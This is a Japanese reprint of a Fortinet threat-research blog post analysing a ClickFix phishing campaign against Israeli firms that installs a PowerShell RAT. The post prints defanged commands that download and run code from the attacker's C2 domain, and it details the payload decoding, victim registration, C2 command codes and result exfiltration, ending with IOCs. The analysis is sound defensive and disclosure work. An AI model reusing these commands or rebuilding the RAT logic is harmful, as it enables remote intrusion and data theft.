複数のイスラエル企業に影響を与えた標的型の侵入攻撃PowerShell攻撃チェーン

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「ClickFixからコマンドの実行まで:PowerShell攻撃チェーンの全貌」を再編集したものです。

影響を受けるプラットフォーム:Windows(PowerShellによる配信と実行)
影響を受けるユーザー    :イスラエルの企業およびインフラストラクチャ部門
影響            :マルウェアがリモートアクセスを手引きし、データ流出、偵察、永続化、ラテラルムーブメントを可能にする
深刻度           :高

概要

 FortiMail Workspace Securityチームは先日、複数のイスラエル企業に影響を与えた標的型の侵入攻撃を特定しました。攻撃者は、侵害された内部のメールインフラストラクチャを利用して、対象地域のビジネス環境にフィッシングメッセージを配信しました。これらのフィッシングメールによって、多段階でPowerShellベースの感染チェーンが起動された結果、リモートアクセストロイの木馬(RAT)が配信され実行されました。すべてのプロセスはPowerShellを介して行われていました。

 主な特徴は次の通りです。

・完全にPowerShellベースの配信チェーンは、外部の実行ファイルを必要としません。
・難読化されたペイロードは、攻撃者の制御下にあるインフラストラクチャから取得されます。
・ラテラルムーブメントと偵察活動の痕跡が見られます。
MuddyWaterの攻撃と共通する部分がありますが、因果関係は確定していません。

 以下では、配信戦術、難読化の方法、C2の動作、MITRE ATT&CKマッピングなど、このキャンペーンで観測された手法を解説します。

図1:攻撃フローチャート

初期アクセス

 このキャンペーンは、「戦時下における対応と医療および医薬品の使用に関する指導セッション」への招待状を装ったフィッシングメールで始まりました。メールの受信者は情報を広く共有することを求められ、それにより社内での拡散の可能性が高まります。

図2:フィッシングメールのおとりメッセージ

 埋め込まれたリンクをユーザーがクリックすると、偽のMicrosoft Teamsページにリダイレクトされます。このサイトはTeamsのインタフェースを模倣しており、ユーザーに「Continue on this browser(このブラウザで続行)」をクリックするよう促します。

図3:偽装されたMicrosoft Teamsのランディングページ

 次のステップでは、Windows + Rキーを押し、コピーされた文字列をクリップボードに貼り付け、Enterを押すようユーザーに指示します。これは、悪意あるPowerShellコマンドの実行を隠蔽することを目的とした、ソーシャルエンジニアリングの手法です。

 シーケンスの内容は次の通りです。

1. 「Press & hold Windows key + R(Windows + Rキーを長押しします)」([Run(実行)]ダイヤログボックスが開きます)

図4:[Run(実行)]ダイヤログボックス

2. 「In the verification window, press Ctrl + V(検証ウィンドウでCtrl + Vキーを押します)」(このように指示することで、これを正当なプロセスに見せかけます)

3. 「Press Enter on your keyboard to finish(キーボードでEnterを押して終了します)」(ユーザーのクリップボードに貼り付けられた文字列が実行されます)

ペイロードの実行:初期ローダーとしてのClickFix

 フィッシングサイトのHTMLを調査したところ、Base64でエンコードされたPowerShellコマンドが、3つの文字列で難読化されていることがわかりました。それらを連結してデコードすると、次のペイロードが生成されます。

図5:難読化されBase64でエンコードされたPowerShellコマンド

 デコードされたPowerShellコマンドを、被害者がWindowsの[Run(実行)]ダイヤログに貼り付けてEnterを押すと、不正なPowerShellプロセスが開始されます。PowerShellスクリプトはInvoke-WebRequest(GET)メソッドを使用して、hxxps[:]//pharmacynod[.]com/Fixから追加のペイロードデータを取得します。

powershell IEX ((Invoke-RestMethod -Uri hxxps[:]//pharmacynod[.]com/Fix -Method GET)[.]note[.]body)

 このコマンドは、攻撃者のサーバーから2つ目のPowerShellスクリプトを取得して実行します。

第2段階:RATローダーの動作

 ペイロードを実行すると、以下の2つのファイルがダウンロードされます。

1. test.htmlはC:\Users\Public\Downloads\test.htmlに保存されます。

Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//31133?did=59MVRI –OutFile

 test.htmlファイルには、<tag>マーカーの間に長い文字列で表されたblobオブジェクトが含まれています。

図6:test.htmlのblobオブジェクト

2. 2つ目のPowerShellスクリプトは、test.htmlのコンテンツを読み取り、最終的な不正ペイロード.ps1を再構成します。

(Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri hxxps[:]//pharmacynod[.]com//35893?provider=68600).content

 この2つ目のスクリプトは、攻撃者のサーバーから取得した悪意あるPowerShellコードを実行し、被害者のマシンにRATを配信します。

図7:悪意あるPowerShellコード

スクリプトのロジック

・test.htmlの11行目を読み取る
・<tag>マーカーの間にあるコンテンツを抽出する
・区切り文字kendrickで文字列を分割する
・バイナリ形式の部分文字列をASCII文字に変換する
・デコードされた文字列をリアセンブルし、IEXを使用して実行する

 例えば、test.htmlの11行目に以下が含まれていたとします。

「kendrick1100110kendrick」

次の手順を実行します。

1. Split("kendrick")と指定して、「kendrick1100110kendrick」を「kendrick」で分割します。結果は["", "1100110", ""]になります。
2. スクリプトは空の文字列をスキップし、「1100110」のみを処理します。
3. バイナリを10進数に変換します。1100110(base 2)= 102(10進数)
4. 10進数を文字に変換します。[char]102 = "f"
 したがって、「1100110」は「f」にデコードされます。

 つまりこのスクリプトは、バイナリでエンコードされ「kendrick」で区切られた部分を抽出し、それをテキスト形式にデコードし、その結果をリアセンブルし、PowerShellコードとして実行します。

 我々はこの後、文字列をデコードするために次のPythonスクリプトを作成しました。

図8:デコードに使用したPythonコード

 デコードの結果、圧縮されたBase64文字列を取得しました。

 抽出された文字列に、「IEX (Decompress-Base64-String ".....")」という行が含まれています。これは簡単に言うと、Base64でエンコードされ圧縮されたこの文字列をデコードし、平文のPowerShellコードに解凍し実行せよ、という意味です。

図9:デコードされたBase64文字列を解凍する関数をPowerShellで定義

図10:文字列を関数に渡し、結果を平文のPowerShellファイルとして保存

C2の動作と被害者の追跡

 スクリプトはコマンドサーバーを次のようにハードコードします。

“$global:SRV = "hxxps[:]//pharmacynod[.]com/"”

 このドメインへの通信は、すべてHTTPS経由で行われます。

図11:CSのドメイン

被害者の識別

 スクリプトは起動時に「init」関数を実行し、感染したマシンを登録します。この関数は以下を実行します。

・次の情報を収集します。
 Windowsドメイン
 コンピュータ名
 ユーザー名
 
 これらのデータを連結します。

・GZip、Base64、および独自の難読化を使って文字列を2回圧縮し、反転させます。
・このデータをエンドポイント「/16625」に送信します。

永続的なポーリングループ

 次に、スクリプトは無限ループを開始して以下を実行します。

・検知を回避するため、ランダムな間隔(デフォルトでは2~7秒)でスリープします。
・「Get-Appversion”= -」を呼び出し、POSTリクエストを介してC2サーバーからのコマンドをポーリングします。

図12:スクリプトの無限ループ

コマンドの取得と解析

 被害者のマシンがチェックインすると、コマンド&コントロール(C2)サーバーは圧縮/反転された命令で応答します。これらの命令は、Get-Decompress関数を使ってローカルでデコードされます。命令の先頭に、実行する処理の種類を指定する数字コードが付けられています。

・7979:init関数を再実行して完全な再初期化をトリガーします。これにより、通常はデバイスのIDが更新され、C2との通信が再度確立されます。
5322:スクリプトにリモートペイロードをダウンロードし保存するよう指示します。このコマンドにはURLとローカルファイル名が含まれ、抽出されてGet-File関数に渡されます。この関数は、System.Net.WebClientを使用してファイルを取得し、ディスクに書き込みます。
4622:C2ポーリングのスリープ間隔を更新します。スクリプトは命令から取得した新しい時間値を解析し、グローバル変数$timeに代入します。これにより、攻撃者は被害者がチェックインする頻度を制御できるようになります。
2474:C2から受信した任意のPowerShellコマンドを実行します。コマンドのペイロードは解凍されてデコードされた後、IEXを使って実行されます。結果の出力およびエラーは、キャプチャ、圧縮、および反転され(2回)、最後にエンドポイント/17361に流出されます。これにより、被害者のマシンで全面的なリモートコードの実行が可能になります。

図13:圧縮および反転されたC2サーバーの命令

要因分析

 今回のケースでは、攻撃者は数日間連続して複数のイスラエル企業を計画的に侵害し、感染した各環境を拠点にして対象地域の別の組織を攻撃しました。この戦術は、MuddyWaterが水平方向の拡散に用いる典型的なアプローチと非常によく似ています。一方、目立った相違点は、脅威アクターがリモート管理ツール(RMM)と公共のファイルホスティングサービスの使用を意図的に避けていることです。この2つは、従来のMuddyWaterキャンペーンでしばしば観測されています。

 ペイロードの配信も特徴的でした。ユーザーを騙す「ClickFix」の手法に始まり、難読化スクリプトの多段階チェーンを進んでいく間中、全面的にPowerShellに依存していました。最終段階では、PowerShellのみで記述されたRATが配信されました。こうした点は、リモート管理ソフトウェアや段階的ドロッパーなど、MuddyWaterがこれまで好んで使用してきたツールセットと異なりますが、操作におけるそれ以外の要素は共通しています。インフラストラクチャ、対象地域の限定、スクリプト技術など、すべては過去にMuddyWaterによるものとされた活動と酷似しています。

 あるリサーチャーは次のように指摘しています。「この新しいキャンペーンは極めて単発的で、集団的攻撃ですらない。MuddyWaterの活動と合致するかもしれないが、別の脅威アクターのものという可能性も十分にある」

 つまり、このキャンペーンはMuddyWaterと非常によく似ているものの、それを裏付ける集団、新たなツール、いくつかの戦術的相違がないため、それと断定するには疑問の余地が残ります。これはMuddyWaterの手法が進化したことの表れ、あるいは、同グループのプレイブックを借用した他の脅威アクターの仕業という可能性もあります。

ステルス技術:難読化と回避術

 このキャンペーンは、多層的な難読化と巧妙なネットワーク回避術を組み合わせることで、検知されずに潜伏し続けます。ペイロードとレスポンスはGZipで圧縮され、Base64でエンコードされ、反転されているため、検知と分析が一層難しくなっています。ネットワーク側では、スクリプトはネイティブの.NET HTTPリクエストを使用し、urlmon.dllを介して正規のユーザーエージェントを設定し、デフォルトのWindows認証情報を活用し、システムのプロキシ設定に従います。これらはすべて、一般的なユーザートラフィックを真似たものです。

結論

 本キャンペーンは、環境寄生型の手法、多層的な回避術、および臨機応変なC2通信の有効性を実証しており、そのすべてがPowerShellを使用して実行されています。攻撃元は判明していませんが、その戦術は特定地域を狙った脅威グループの活動と一致しています。高リスクな業種の組織にとっては、これと類似するパターンを継続的に監視し、検知シグネチャを積極的に使用することが非常に重要です。

フォーティネットのソリューション

 フォーティネットのお客様は、フォーティネット セキュリティ ファブリックの多層的な防御を通じて、本レポートで解説した攻撃から保護されています。

 FortiGuardアンチウイルスは、以下のシグネチャを使用してPowerShellベースのマルウェアを検知します。

PowerShell/Agent.PH!tr

 FortiMailワークスペースセキュリティはこの攻撃を検知しブロックします。

 FortiEDRは悪意あるスクリプトの実行を阻止し、メモリ内でのペイロード配信を防止し、RATやスクリプトベースのローダーに該当する侵害後のアクティビティを検知します。

 FortiGuard侵入防止システム(IPS)を備えたFortiGateファイアウォールは、悪意のあるコマンド&コントロール(C2)トラフィックや、関連するHTTP/Sビーコンの動作を検知しブロックします。

 FortiGuard DNSフィルタリングおよびWebフィルタリングサービスは、既知の悪意のあるインフラストラクチャ、例えばこのキャンペーンでプライマリC2として機能したpharmacynod[.]comドメインなどへのアクセスを防止します。

 FortiAnalyzerFortiSIEMは一元的な可視化と脅威の相関付けを可能にするため、組織は環境内の異常な振る舞いやポリシー違反を素早く検知し対応することができます。FortiNDRは、先進的な分析と機械学習を通じてカバレッジを拡大し、スクリプトを多用した侵害やファイルレス攻撃に関連する異常なアクティビティを識別できます。

 すべての保護機能はFortiGuard Labsの脅威インテリジェンスによって更新され、新型のマルウェア亜種や進化するスパイ活動を迅速に阻止します。

 組織が上記のキャンペーンや関連するアクティビティの影響を受けていると思われる場合は、FortiGuardインシデントレスポンスチームまでご連絡ください。

IOC(Indicators of Compromise:侵害指標)

 難読化には以下のようなパターンがあります。

・GZipによる二重圧縮
・Base64エンコード
・文字列の反転
・URLの安全を意図した+と_の置換

IOC 説明
hxxps[:]//pharmacynod[.]com/ ハードコードされたC2
hxxps[:]//pharmacynod[.]com/16625 被害者の登録/チェックイン
hxxps[:]//pharmacynod[.]com/17361 流出したコマンドの結果
46a76b3c7851f30d68ebc6a5584bc099
435b0544d8707fff7a9178f46046708b

Sha256 powershell RAT

■関連サイト